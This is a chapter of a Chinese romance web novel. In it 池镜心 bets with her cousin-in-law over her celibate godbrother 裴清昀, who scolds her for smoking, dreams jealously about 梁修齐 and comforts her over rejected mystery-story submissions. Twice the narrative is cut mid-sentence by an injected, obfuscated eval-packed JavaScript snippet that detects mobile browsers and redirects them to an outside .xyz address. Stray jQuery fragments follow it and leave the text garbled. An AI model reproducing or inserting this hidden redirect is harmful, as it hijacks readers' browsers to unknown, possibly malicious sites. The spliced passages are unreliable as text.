池镜心瞬间收起眼底的怒气,语气有些心虚不自然:“没,没聊什么。他认错人了。”
“是吗?”裴清昀看向梁修齐,“你把我妹妹认成谁了?”
梁修齐挑了挑眉。妹妹?裴清昀的妹妹在给他母亲打工?他母亲这么有排面的吗?
“我……”梁修齐刚一开口,就看到池镜心神色紧张地盯着自己,眼中满是警告意味。
他不解地看着池镜心,用眼神询问:他不是你哥吗?你的工作连你哥都要瞒着?
裴清昀默默看着这两人眉来眼去的,此刻在他的视角里,这两人就像一对在搞puppylove的小情侣,有什么少男少女之间的小秘密要瞒着他这个外人。他本就不算和悦的脸色愈加沉冷了。
梁修齐:“我……我一看到阿心姐姐就觉得眼熟,以为她是某家杂志的model。我就想邀请阿心姐姐当我们乐队的新专辑MV女主角。”
梁修齐说完,冲池镜心温和地笑了笑,完全是一副乖仔模样:“阿心姐姐,你有兴趣吗?”
“不好意思,没兴趣。”池镜心回了一个持续时间不到两秒的假笑。
“好吧。”梁修齐流露出伤心的神色。正好这时不远处有几个年轻人叫他过去,他犹豫了一瞬,依依不舍地离开了。
此刻池镜心内心很是忐忑不安。刚刚她的便宜哥哥是不是察觉到了什么?他不会去调查那个梁修齐,从而顺藤摸瓜查出她的真实职业吧?
裴清昀冷冷看了她一眼,从西装内袋里取出一小片独立包装的消毒湿巾,递给了她。
“擦擦手,刚才你碰到脏东西了。”
“诶?”池镜心诧异地抬头望着他,“我没碰到什么脏东西呀。”
“碰到了,只是你自己没察觉到而已。”
池镜心:“……”
她接过那片消毒湿巾,拆开包装,胡乱地擦了擦手,一边擦拭一边吐槽:“你的洁癖真是越来越严重了,以前你好歹只管你自己的卫生状况,现在还管到我头上来了。你真的不需要去医院看看吗?”
裴清昀没理会她的抱怨,只冷声提醒她:“耳朵也擦一擦,这里也沾了点脏东西。”
“哪里脏了啊!”池镜心顿时就炸毛了,“我每天洗澡的时候都会清洗耳朵的!你有病治病!别来折腾我!”
裴清昀没说话,只面无表情地从怀里又取出一片消毒湿巾,亲自拆开。
池镜心简直无语了。人家的西装内袋里都是放钢笔,放名片,他倒好,光放消毒湿巾了,还不止一片。
裴清昀一只手撩开她耳边丝绸般柔亮的发丝,另一只手拿着那片刚拆出来的消毒湿巾,重重地擦拭她的耳朵。
池镜心嫌他手劲大,轻叱一声:“你轻点!”
裴清昀一愣,突然反应过来,自己这个举动实在是莫名其妙。柔顺的发丝流淌在他的指间,他甚至能闻到池镜心发丝间的洗发水香气。她的耳朵尖被他擦拭得红彤彤的,有一种说不清道不明的暧昧。
他立刻后退半步,将湿巾往池镜心手里一塞:“你自己擦。”
“擦你个头!”池镜心将两片用过的湿巾连带包装纸都扔到了裴清昀身上,气鼓鼓地转身走开了。
她来到卫生间,撩开头发仔细检查了一番自己的耳朵,根本看不出任何脏了的痕迹,只有被裴清昀那没轻没重的手劲给弄出的红痕。泛红的精灵耳,像是害羞的证据,又像是被人吻了又吻,直至吻出红痕,莫名地引人遐想。
因她来卫生间只是为了照一下镜子,照完就走,便没有关门。裴清嘉经过卫生间门口,不经意地瞥了她一眼,立刻顿住了脚步。
“哟~”裴清嘉笑得一脸幸灾乐祸,“你耳朵怎么了?谁弄的?”
池镜心不假思索地回了一句:“你哥弄的。”
“什么!”裴清嘉脸上的表情当场裂开,一手指着池镜心,震惊到说话都结巴了,“你你你!你们……算了,这里不是说话的地方,跟我来!”
裴清嘉不由分说地拉着池镜心来到无人的露台上,目光炯炯地紧盯着她,激动得声音都在颤抖:“你和Atticus……睡过了?”
池镜心只觉得莫名其妙:“没有。”
裴清嘉:“那你的耳朵?”
池镜心:“他洁癖发作了,非说我耳朵沾上脏东西了,拿着湿巾给我擦,差点把皮都给我搓下来。听说内地东北有一种职业,叫搓澡师傅,倒是蛮适合他的。”
“啊?就这?”裴清嘉满脸都是失望的神色。
池镜心越发感到莫名其妙:“干嘛?你很希望我把他睡了吗?”
“当然。”裴清嘉从手拿包里掏出烟盒和打火机,点燃烟后吸了一口,惆怅地吐出烟雾。
池镜心歪了歪头,困惑地打量她:“你这么关注别人的性生活干什么?难道你……啧,你们有钱人的癖好真变态。”
“你别胡说八道!”裴清嘉没忍住凶了她一句,接着解释道,“我只是跟阿昀打过一个赌罢了!”
原来几年前,裴清昀的公公婆婆尚未过世。过年的时候,老俩口张罗着要安排裴清昀去相亲,他死活不肯去,还放出话来,说自己这辈子都不会结婚,把两位老人气得够呛。
也是在那年过年期间,某个午后,裴清昀和自家表弟表妹闲来无事,聚在裴家主宅打牌。
裴清融和裴清嘉都知道了前几日裴清昀拒绝相亲一事。裴清融向来多嘴多舌,没忍住唠叨了几句:“你不钟意李家那位女仔,就直说嘛,何必赌气说自己这辈子都不结婚。将来你结婚之日,就是打脸之时,好丢架的!”
裴清昀面无表情地扔出一张牌:“我没赌气。我确实不打算结婚。”
裴清嘉:“你是想跟你妈妈一样,只谈恋爱不结婚?”
裴清昀:“不谈恋爱。”
裴清嘉有点懵了:“连个女朋友的名分都不给啊?原来你这么渣的?”
“给谁?我哪里渣了?”裴清昀莫名其妙地看了她一眼。
裴清嘉:“你将来总会跟女孩子发生关系吧?发生过关系又不承认人家是你女朋友,这还不渣?”
裴清昀:“我不会跟任何人发生关系。”
裴清嘉:“我不信!你长成这个样子,多的是女孩子扑你,我才不信你能一辈子把持住不对任何人动心!”
裴清昀:“你爱信不信。”
裴清嘉:“要不咱俩打个赌?”
裴清昀:“行啊,将来我要是跟人发生了关系,就给你一千万。”
好几年时间过去了,裴清嘉始终没等到那一千万,她都快急死了。她出生于大富大贵之家,并不在乎那区区一千万,她只是想赢一次裴清昀而已。
从小她这个表哥就天资卓绝,无论是念书还是玩各种体育项目,或者打牌,打游戏,他都以绝对的天分碾压裴清嘉和她亲哥。裴清嘉都输麻了,就指望能靠这个赌约赢他一回,然后吹一辈子,奈何裴清昀始终不给她这个机会。
跟池镜心解释完赌约的由来,裴清嘉又惆怅地狠狠吸了一口烟。
池镜心默默看着她抽烟,突然也有点想来一根,便从裴清嘉的烟盒里抽出一根烟,拿打火机点燃。
“你哥为什么要当一个这么彻底的独身主义者啊?”池镜心背靠着露台栏杆,指间夹着香烟,问一旁的裴清嘉。
“谁知道呢。也许是因为他的洁癖,也许是因为他那奇葩的原生家庭。这些都不重要。”
裴清嘉拿胳膊肘碰了一下池镜心:“我觉得阿昀对你的态度还是很不一样的,要是其他人身上脏了,他嫌弃都来不及,又怎么会亲自拿着湿巾帮对方擦干净。”
池镜心只觉得自己真是百口莫辩,委屈得声音都提高了几度:“我耳朵不脏!他就是犯病了!非说我耳朵沾了脏东西!一天到晚神经兮兮的,我看是他身上跟了脏东西还差不多!你们趁早找个道士给他驱驱邪!”
裴清嘉摆了摆手:“这些都不重要。现在你就住阿昀家,近水楼台先得月,最有可能把他给睡了的人就是你了。我们做个交易吧,只要你跟他睡过一次,我就把他输给我的那一千万分一半给你。”
池镜心面对这个荒唐但诱人的提议,不仅无动于衷,还回了裴清嘉一个白眼:“神经。我怎么向你证明我把他给睡了?难道要我发床照或者录像给你看?”
裴清嘉没忍住笑出了声:“哈哈哈哈哈!你愿意发当然再好不过啦。不发也没关系,以我对阿昀的了解,他不会因一个小小的赌约撒谎抵赖的。怎么样?要不要跟我做这笔交易?”
池镜心低着头吸了一口烟,跟老港片里做非法交易的犯罪分子似的,沉思片刻后,一脸深沉地来了一句:“我要七百万。”
裴清嘉大惊:“你怎么这么贪心?!对半分还不够,还想占大头!”
池镜心随手弹了弹指间的香烟:“当然得我占大头啦。我牺牲最大好不好?”
裴清嘉奸笑着推了她一把:“你少得了便宜还卖乖。就阿昀那卖相,他不收你钱就不错了。”
池镜心:“卖相?你说你哥是出来卖的?我待会儿就找他告状。”
裴清嘉正欲说些什么,眼角余光瞥见裴清昀正大步朝她俩走来,面色阴沉,像是来找茬的。
裴清嘉莫名有些心虚,赶紧拽了一下池镜心的胳膊:“行行行,七百万就七百万,这事别说出去啊,尤其别让阿昀知道。”
她话音一落,裴清昀就冲到了池镜心面前,拿过她指间的香烟,在栏杆上狠狠碾灭了。
刚才他习惯性地搜索池镜心的身影,生怕她在某个他没看到的角落惹上麻烦,没想到却看到池镜心和裴清嘉在露台上有说有笑,相谈甚欢。
他一开始还感到挺欣慰,心想阿心到底还是把他的话听进去了,有在好好跟嘉嘉相处。结果下一秒,他就看到池镜心指间那一点猩红的光芒。
裴清昀的脸色立刻就沉下去了。池镜心在他的严格管控下已经很久没抽烟了,这支烟是哪儿来的,他不用想都知道。合着她俩不是在和睦相处,是在狼狈为奸。
池镜心眼睁睁看着那支刚点燃没多久的烟被裴清昀碾灭,由诧异转为愤怒:“你有病啊?!”
裴清昀:“我看是你闲出病来了。走了,现在就回去休息,明天早点起床,多做一套限时模考当作抽烟的惩罚。”
他一边说话一边去拉池镜心的胳膊,池镜心烦躁地甩了两下,没甩开,气得直骂他:“你又双标!你表妹也抽烟,你怎么不管她?”
裴清昀回得理直气壮:“她有亲爹,有亲哥,几时轮得到我这个表哥来管?你就不一样了,你只有我这一个哥,我不管你谁管你?”
池镜心本来还想跟他吵的,听到这话,不知道为什么心中一涩。是啊,在这个世界上,还愿意付出大量时间精力管教她,监督她,为她好的人,好像确实只剩他一个了。
池镜心忽然不想跟他吵了,任由他拉着自己离开了裴清嘉的浅水湾豪宅。
裴清嘉一脸看好
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214555|178722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
戏的表情目送他俩离开,感觉自己又多了几分胜算赢下那个赌约。
在回家的路上,池镜心发了会儿呆,百无聊赖地问:“你为什么要当一个那么严格的独身主义者?”
裴清昀:“谈恋爱结婚有什么意思?你也少跟那些不三不四的男仔鬼混,尤其是染头发的,戴耳钉的,搞乐队的,一看就不是好东西。”
池镜心反应了一下才明白过来他说的“不三不四的男仔”指的是梁修齐。她不敢跟裴清昀讨论梁修齐,怕他顺藤摸瓜查到她在梁修齐母亲开的事务所工作。
她笑了笑,故意用一个刁钻的问题来转移话题:“谈恋爱结婚也许没意思,但做那种事很有意思啊。你都不感兴趣的么?你不会是不行吧?”
正常男的听到这句话都会炸毛,但裴清昀脸色丝毫未变,还爽快地点了点头:“是,我不行。所以你别再调戏你哥了,没用的。把心思都放到学习上,明年考个好大学才是正事。”
池镜心没忍住笑出了声,笑够了才凑过去,用只有两人才能听到的音量低声说:“没关系,不行也有不行的玩法……”
她眼珠子一转,好奇地问,“你听说过第四爱吗?”
“什么?”
裴清昀身为严格的独身主义者,从来不会主动关注两性相关的话题,自然也不会知道这个近些年才出现的小众名词。
“没什么,你有空的时候可以在网上查查。”
裴清昀当即拿起手机开始查,没浏览几行字,他的脸色就开始变差,浏览到最后,他的脸色已经黑得如同窗外的夜色一般。
“池镜心!”
正好这时司机将迈巴赫稳稳停在了裴清昀家的庭院里。池镜心迅速拉开车门,像只受惊的兔子般飞快窜了出去,一口气跑进室内,拉开自己的卧室门,关门,反锁,一气呵成。
裴清昀被她气得头昏脑胀,上楼歇了好一会儿,喝了半杯气泡水才回过神来。
他坐在书房的单人沙发上,给裴清嘉发了条消息过去:【今晚那个染头发,戴耳钉,自称在搞乐队的男仔是谁?】
裴清嘉过了片刻才回:【你说的是梁修齐吧?他是梁治文的长孙,去年刚大学毕业回到港岛,跟朋友组了支乐队玩。】
裴清昀:【以后少跟这种一看就不正经的人来往。还有,你以后在阿心面前注意一下言行,别把她带坏了。】
裴清嘉:【………………】
这天夜里,裴清昀迟迟没有睡着。港岛就这么大点地方,名门世家之间互有来往,谁家闹出点破事大家都知道。
梁家的话事人梁治文有个独生子梁永盛,是八卦报刊常客,活了大半辈子没有个正经事业,婚倒是结了一次又一次。这个梁修齐应该就是梁永盛的某个前妻生的。
梁永盛有两任前妻都在网上发小作文控诉过,说梁永盛这人花心又妈宝,梁治文和他老婆对新抱挑剔且刻薄。总之,这样的人家从上到下没有哪一根梁是正的,也难怪梁修齐一看就不是什么好东西了。
裴清昀越想越焦虑。万一阿心跟那个梁修齐发展出感情来,将来死活要嫁给他,那跟跳进火坑有什么区别?
阿心可是他契妈唯一的大宝贝,从小就被契妈捧在手心里百般疼爱。现在阿心跟他住一起,他也是成天把她当祖宗伺候着。他契妈的掌上明珠,他看着长大的妹妹,怎么能吃爱情和婚姻的苦!
裴清昀越想越气,恨不得立马把那个梁修齐揪出来,剁成肉臊子扔到公海去喂鲨鱼。
到了快后半夜,他才终于睡着,但睡得并不安稳。他梦见阿心拉着行李箱,要离开他家。
他冲上去拦住她,焦急地问:“阿心,明天就要考DSE了,你这是要去哪?不打算读大学了吗?”
阿心对他甜甜一笑:“我不考大学啦,我要结婚!”
裴清昀:“结婚?和谁结?”
阿心:“当然是和修齐哥哥啦。”
裴清昀气得几欲发狂:“梁修齐?那个人渣!他家几代人都没有一个省油的灯!你嫁给他会后悔的!”
阿心忽然生起气来:“我不许你这么说他!他是这个世界上对我最好的人!你再说他坏话,我就不认你这个哥哥了!”
裴清昀僵在原地,心脏被阿心这冰冷无情的恋爱脑发言给震得碎了一地,只能眼睁睁看着阿心离开。
冬去春来,梦境中的裴清昀跟个孤寡老人一般,独自守在渣甸山独立屋中。直到某一天,沉寂许久的门铃终于响起。
他亲自去开了门,门外站着许久未见的阿心,她哭得眼睛通红,一头扎进了他怀里。
“呜,哥哥,梁家人都好坏,他们都欺负我!我不要再跟梁修齐一起生活了!”
他终于松了一口气,似乎这么久以来一直在等待这一刻。
他轻抚着阿心那丝绸般的头发,温声安慰她:“没事了没事了,以后就跟哥哥一起生活吧,我们还跟从前一样。”
阿心破涕为笑,踮起脚尖,在他脸颊上亲了一口:“哥哥真好。”
裴清昀心跳狂乱,浑身血液都在极速上涌。他一激动,猛地睁开了眼睛。
卧室里一片寂静,只有他的心跳声跟打雷一样。梦境里那个落在脸颊上的吻,温热轻柔,醒来后脸上仿佛依然残留着那极度逼真的触感。
此刻他简直无法理解自己的大脑里都装了些什么。梦到阿心被渣男骗走,尚且可以理解,毕竟入睡前他一直在担心此事。但是他为什么会梦到阿心亲他啊?!他有病吧?
他翻身坐到床沿边,垂着头用手掌狠狠搓了几下自己的脸颊,试图将梦境里那个吻带来的触感消除掉。
27. 爆哭
后半夜,裴清昀再也没睡着,他思考了很多事情。
冷静下来后,他并不觉得梦里阿心亲了他一下能代表什么,小时候阿心也亲过他。
那时候她大概四五岁,吃油炸酥排吃得满嘴满手都是油。趁他毫无防备的时候,她故意使坏在他脸上亲了一口,或者说是把他的脸颊当成了餐巾纸,狠狠在他脸上蹭了一下她的小油嘴,留下一个油乎乎的印子。
他之所以会梦到阿心亲他脸,大概就是因为小时候这样的事确实发生过。肯定是这样,这就是他俩小时候的相处情景在梦境中的一次再现而已。
他对阿心的感情是百分百纯粹的,高尚的,不含任何杂质的兄妹之情。他才不是什么会觊觎自己妹妹的变态。
想通了之后,裴清昀略松了一口气。虽然他也不知道自己刚才在紧张不安些什么。
接着他又想到另一个严峻的问题。阿心已经二十岁了,长得又那么漂亮,追她的男孩子肯定很多,没有这个梁修齐,也会有其他人。她迟早会谈恋爱的。
但是无论阿心跟谁谈恋爱,他都不放心。现在的男仔都一身的毛病,不爱干净,自私,没担当……这些还算轻的,还有一些心狠手辣的捞男,专门诱惑有钱女性,把人骗去结了婚,就痛下杀手,将女方的遗产据为己有。
他给阿心准备了那么多资产,足够她挥霍几辈子,万一将来有捞男觊觎她的财富,骗财骗色,甚至谋财害命……想到这里,裴清昀拳头都紧了。
就算他能一眼识别出那些不怀好意接近阿心的捞男,可万一阿心跟他梦里表现的一样,是个顶级恋爱脑呢?如果她死活要跟渣男在一起,他总不能把她绑在家里吧?他又不是她的法定监护人!
种种忧虑如迷雾弥漫在他的脑海里,他苦苦思索对策,终于,在第一缕晨光刺破云层时,他想到了一个绝佳的解决方案——他可以在阿心遇到渣男之前,早早就给她安排一个合适的结婚对象!
他手底下为他工作的青年才俊多如过江之鲫,世界一流名校毕业的,长相优越足以出道的,智商情商双高的……什么样的人才没有!他就不信了,就没有一个阿心能看上的!
他会亲自挑选出他和阿心都满意的人选,让对方给阿心当赘婿。是的,他裴清昀的妹妹,怎么能嫁到别人家去当上门媳妇呢?当然得招赘。以后阿心生的小孩都得姓池,一代一代地将契妈的姓氏传承下去。
要是被他挑中的年轻人拒绝给阿心当赘婿,那也无所谓,他再重新挑一个就是了。在港岛,多的是人愿意当他裴清昀的妹夫。
打定主意后,裴清昀心里一块大石头总算落了地。但不知道怎么回事,他并没有多少解决了大难题的喜悦,心里反而空落落的,有种自己正在失去什么的失落感悄然蔓延。
梦境里池镜心拉着行李箱要离开他的画面再度在脑海里浮现……
他深吸了一口气,竭力让自己接受现实,兄弟姐妹长大了就是要分开住的,他不可能跟阿心住一辈子。
反正都已经睡不着了,他索性起身洗漱换衣服,去健身房锻炼身体。
他决定从今天起,在日程表中安排更多的健身时间。他要好好锻炼身体,将来无比得死在阿心后面。
给阿心找个赘婿也并非就万事大吉了。身为男性,他深知赘婿这种生物向来不老实,拿了再多好处都觉得自己吃了天大的亏,一找到机会就要报复回来。
他得尽可能活得久一点,一直帮阿心盯着她那赘婿,时不时敲打镇压,省得他不安份。
洗漱完毕,来到衣帽间换衣服时,他忽然轻叹了一口气。当初他让阿心搬过来住,只是为了监督她考大学,没想到监督着监督着,他操心的事越来越多,恨不得把阿心人生的方方面面都给安排好。果然爱操心的人永远有操不完的心。
到了吃早餐的时间,池镜心来到餐厅,看见裴清昀早已坐在餐桌旁等她了。因昨晚只睡了一两个小时,他眼下泛着一层淡淡的青气,被本就十分苍白的皮肤一衬,颇有几分阴郁憔悴。
池镜心有些诧异:“你脸色怎么这么差?不会是昨晚趁我睡着了,你又偷偷跑出去夜蒲了吧?”
裴清昀没说话,只冷漠地盯着她。
池镜心拉开椅子坐下,摇头晃脑地说着胡话:“啧,你夜蒲倒是带上我啊,我不会嘲笑你的。虽然你老是在我面前装成一朵冰清玉洁的高山雪莲,但我知道你们有钱人……”
“你是不是想让今天的学习任务翻倍?”裴清昀打断了她的话。
池镜心立马乖巧闭嘴,拿起一个流沙包三两口解决掉,又端起温度刚好的滑鸡粥津津有味地喝着。
裴清昀深深地感受到了不公平。他为了这孽障,昨晚焦虑得几乎一夜没睡,好不容易睡着了都还在梦里担心她,睡醒了也在为她筹谋,甚至打算给她招赘,打算一辈子都为她的人生保驾护航……他这个哥当得,真可以算是鞠躬尽瘁,死而后已了。
而这小没良心的每天睡得好吃得好,心安理得地享受他的付出,没事就欺负他玩。将来她还会为了某个臭男人,兴高采烈地拖着行李箱离开他……她简直不是人!
池镜心对他那复杂的心理活动一无所知,只觉得今天裴清昀辅导她功课的时候,好像比以往更加严厉了。
上午池镜心像往常一般在餐厅温书,中途她手机响了一声。她拿过手机一看,立刻紧张起来,瞥了一眼坐在她斜侧方的裴清昀,悄悄转过身子背对着他。
裴清昀:“……”
看个手机还要鬼鬼祟祟地背对着他?不会是那个叫梁修齐的骚货又在勾搭她吧?
池镜心收到的这封邮件是某家推理杂志社发来的,一个多月前她曾向这家杂志社投过一篇短篇推理小说。她深呼吸了几口气,迟迟不敢点开看。
“是不是那个梁修齐给你发消息了?”裴清昀冷声问。
“啊?”池镜心被问懵了,她完全没料到裴清昀会提到梁修齐这个名字。
裴清昀:“你俩已经好上了?”
池镜心:“……我就正常查看一下消息而已!你能不能别这么性缘脑!”
裴清昀:“……”
我性缘脑?我还看你像个恋爱脑呢!
池镜心点开邮件看了一眼,悬着的心终于死了。这又是一封拒稿信。
明明这两年已经被拒稿过几十次了,按理说应该早已麻木了,但她还是无法调节好情绪,眼泪不争气地刷刷直往外冒,很快就淌得满脸都是。
裴清昀见她一直背对着自己不说话,伸手叩了叩餐桌桌面:“不要借着查看消息的名义玩手机,继续温书。”
池镜心垂着头无声落泪,并没有搭理他。
裴清昀有些生气,起身绕到她面前,想拿走她的手机,却猝不及防看到了一张淌满了眼泪的脸。
他吓了一跳,赶紧去拿餐桌上的面巾纸。
这还是他跟池镜心重逢以来,第一次见到她哭。裴清昀简直手足无措,既心疼她,又担心她是不是被外面的渣男给骗了。如果真的有渣男敢欺负阿心……裴清昀瞬间杀人的心都有了。
“怎么了?出什么事了?”裴清昀弯下腰,一边用面巾纸细致地给她擦眼泪,一边温声询问。
池镜心不愿多谈,只说了一句“没什么”。
裴清昀笑了笑,用哄小孩子的语气哄她:“没什么?那你怎么掉金豆豆了?”
池镜心难过的时候,若是没人哄倒还好,她独自难受一段时间就把情绪给压下去了。一旦有人哄她,她的委屈瞬间就全翻涌了上来,得哭上好半天才能平息下去。
比如现在,她终于忍不住哇的一声大哭起来,哭得那叫一个肝肠寸断,声嘶力竭,山洪汹涌,大浪滔天。
裴清昀僵在原地,不知如何是好。他甚至担心她会因为哭得太激烈而晕过去。
池镜心一边号啕大哭,一边冲裴清昀咆哮:“我的眼泪才不是金豆豆!我的眼泪根本不值钱!就跟我的文字一样,一分钱都不值!根本没有人要!”
裴清昀大致猜到她为什么哭了:“你是在投稿吗?”
池镜心完全沉浸在悲伤的世界里,一心一意地哭嚎,没有搭理他。
裴清昀稍稍放下心来,创作之路受阻,总好过被渣男坑骗。他转身上了楼,从书房抽屉里取出一个小盒子,然后回到餐厅,将盒子递给了池镜心。
“别嚎了,你的眼泪还是很值钱的。呐,送你个礼物。”
池镜心抽抽噎噎地接过盒子,打开一看,里面是一只华丽璀璨的珠宝腕表,表链由好几种彩色宝石镶嵌组合而成。
她被这只手表给美到了,一时间都忘了哭:“好漂亮……”
她将手表拿到手中,好奇地打量彩色宝石在阳光下璀璨的火彩,欣赏够了才终于冒出一个疑问:“你怎么会有女表?不会是原本打算送某个小姐姐的吧?”
裴清昀解释道:“本来就是打算送你的。给你选高珠的那天,我看这只表也挺好看,就顺便买下来了。”
池镜心气鼓鼓地瞪他:“既然早就买下来了,为什么现在才送给我!”
裴清昀瞬间幻视一个霸道的小皇帝,高高在上地质问他:“既然早就有了此等宝物,尔等为何不及早献给本王?是在藐视本王吗?”
他有些哭笑不得:“本来是打算给你当生日礼物的,没想到家里闹起了洪灾,就先拿来治理水患了。”
池镜心:“……”
这逆臣竟敢取笑她!
她冷哼一声,又问:“那我生日的时候……”
裴清昀立刻表示:“会给你重新准备一份礼物的。”
池镜心终于满意了。这逆臣对她到底还是有几分忠心。她将手表戴到左手腕上,对着光仔细欣赏起来。
裴清昀见这份礼物比大禹还能治水,暗暗松了一口气,决定去多买几份礼物备着,以后这祖宗心情不好的时候就送一个给她转移注意力。
不过这种法子到底还是治标不治本。裴清昀今天恰好有空,索性多花点时间精力,连本也帮她一起治了算了。
他拉开椅子,在池镜心面前坐下,问:“你写了些什么东西在投稿?可以给我看看。我读书时专门请家教补习过中文,学得还不错,可以帮你改改稿润润色什么的,兴许下次投就过稿了。”
池镜心想了想,有些纠结。一次次被拒稿,她的自信心都被摧毁了,只觉得自己写的东西就是一堆垃圾,被人看到好丢脸。
可是她转念一想,万一裴清昀真能给她提出些有用的建议呢?他可是智商超高超会读书的天才。
她犹豫了片刻,把手机递了过去:“你自己看吧,我这个邮箱里全是投稿的邮件。你帮我提点写作建议就行,不用帮我改稿,我要自己改。”
裴清昀接过手机,开始认真阅读每一封邮件。
池镜心把玩了一会儿手表,百无聊赖地问:“你为什么要补习中文啊?中文有什么好补习的?”
裴清昀:“我刚来港岛生活的时候,不太会说中文,跟裴家人交流都费劲。”
“这样啊……可是裴家人都会说英文吧?你们用英文交流不就好了?”
“我阿公很固执,他说他不会迁就我这个小鬼佬的,在中国人家里就得说中文。他甚至还坚持跟家人说他老家申城的方言,我那时候连粤语都听不太明白,申城话更是一个字都听不懂。每天我听裴家人讲话都听得云里雾里的,我阿公一度怀疑我是智障,还送我去测过智商。”
池镜心没忍住笑出了声,裴清昀这样的天才人物,小时候居然被家人怀疑是智障,这也太荒诞了。
笑完她突然觉得自己这便宜哥哥还挺可怜的,六岁就被亲妈扔到一个完全陌生的地方,独自跟裴家人一起生活,还语言不通,被公公婆婆区别对待……虽然也不算什么很大的坎坷吧,但对于一个六岁小孩来说,这已经是很委屈的经历了。
难怪裴清昀小时候老爱往她家跑,宁愿留在她家过夜,睡她家书房那张一米宽的小床,也不愿意回去住裴家的豪宅……
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301337|178722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她母亲池若颐应该是当时唯一真心疼爱他的长辈,所以他才那么眷念这份唯一的温暖。
池镜心平生第一次觉得自己小时候不应该老是欺负他的。他只是想来她家蹭一点母爱而已,反正她拥有的母爱已经很多很多,多到要溢出来了,就分一丢丢给他其实也无所谓的。
她越想越觉得自家便宜哥哥就是一只可怜狗狗,忍不住伸手揉了揉他的脑袋。他的深褐色头发在阳光下成了金棕色,摸起来还挺舒服的,比撸阿智脑袋还舒服。
池镜心越摸越上头,直到裴清昀冷不丁出声:“你干嘛?把我当阿智了?”
池镜心心虚地收回了手。
裴清昀飞快地阅读池镜心写的推理小说,越读下去越感到诧异。阿心这小混蛋居然这么有才华!能在短短几万字的篇幅里设置出一个精彩的核心诡计,安排好严谨的推理过程,人物塑造方面也并不单薄,对人性的剖析隐隐带有社会派推理的影子。
他甚感欣慰,阿心不愧是契妈的女儿。那些关于ADHD的资料说的果然不错,ADHD患者确实拥有超凡的创造力。将来阿心就算考不上大学,也可以凭才华成为小有名气的推理小说家,总算不辜负契妈的一世英名。
过了片刻,裴清昀再次开口:“我看了你最近新写的那两篇推理小说。说实话,你写得很不错。推理过程足够严谨,核心诡计也足够精彩,故事背景的设置可以看出受到了社会派推理的影响。你这个年纪能做到这几点,已经非常不容易了。”
池镜心眼睛一亮:“你还知道社会派推理?你还挺懂的嘛。”
裴清昀:“那是。你哥我可不是死读书的书呆子,文学方面我也涉猎广泛的好吧?”
池镜心忽然叹了口气,将下巴放到了桌面上:“你觉得写得好又有什么用,那些杂志社都不收我的稿。”
“这就是我要指出的关于你的问题了。你每篇小说都只投了两三家杂志社,没有过稿就直接放弃,不再另投。你是不是有点太轻言放弃了?
而且你投的还是业内名气最大的那两三家杂志社,人家根本不缺稿,你这种无名小卒的稿件投过去,人家可能压根没看就直接拒掉了。
你应该改掉好高骛远和轻言放弃的毛病,把市面上所有收推理小说的中文报刊都投一遍,总有机会遇到欣赏你的编辑的。”
“全都投一遍?”池镜心想也没想就拒绝了这个提议,“可算了吧!那我得收到多少封拒稿信?收到一封拒稿信都够我难过好几天了,要是天天都收到拒稿信,那我还活不活啦?”
裴清昀有些无语,正想教育她“要想成功就不能放过任何一次机会,哪个作家成名前没有被拒绝个百八十次”,但话到嘴边他又忍住了。
阿心未必不懂这个道理,可她是ADHD患者。为了能更好地照顾阿心,他查阅过大量关于ADHD的资料。他知道几乎所有ADHD患者都有RSD症状,即对拒绝敏感焦虑。
ADHD患者在遭遇拒绝和挫折时,无法像正常人那样调节情绪和行为,他们的反应更加敏感,体验到的痛苦也更加剧烈,严重时还会出现躯体化症状。
这也是为什么阿心一收到拒稿信,就会迅速情绪崩溃,大哭一场。她不愿反复投稿,不愿面对更多的拒稿信,也是因为她精神上确实难以承受这么多次拒绝。
裴清昀很快就想到了一个解决办法:“这样吧,你把你的邮箱账号给我,我来帮你投稿,这些报刊的回复也都由我来查看。过稿了我会通知你的,被拒稿了我就把邮件删掉,这样你就再也不用面对拒稿信了。”
池镜心眼睛一亮:“真的吗!可是……”她又有些犹疑,“这样做会浪费你很多时间的。你不知道投稿有多麻烦,有些杂志社规定了特定的排版格式,甚至还要求填投稿人个人信息表……
你真的有时间帮我投稿吗?别到时候全都交给你助理弄了。我可不想我的作品被你那些助理看到,人家搞不好会觉得我写得很烂,背地里笑话我。”
裴清昀:“放心吧,全程都由我亲自来处理,不会假借他人之手的。”
池镜心终于放心了,她脸上绽放出一个向日葵般灿烂的笑容:“嘻嘻,哥哥真好。”
裴清昀看着她脸颊上干涸的泪痕,突然重重地恍惚了一下。
昨晚那个梦里,阿心也是先哭得满脸都是泪痕,继而又破涕为笑,说了一句“哥哥真好”,然后踮起脚尖来亲他的脸。
眼前的这一幕,竟诡异地跟梦境重合了。
难道他做了一个预知梦?下一秒,阿心该不会就要凑过来亲他了吧?一想到这里,他呼吸都暂停了。
池镜心忽然收起了笑容,睁着好奇的大眼睛盯着裴清昀的脸,缓缓靠近他,呼吸都快落到他脸上了。
裴清昀眼睁睁看着她靠近,浑身僵硬,脑子里鬼打墙般颠来倒去就两句话:真的是预知梦啊……真的要亲啊……
就在两人鼻尖距离不足十公分时,池镜心展颜一笑,像是发现了什么好玩的事:“你脸红了诶!你为什么脸红啊?”
裴清昀:“……”
他也想知道为什么!
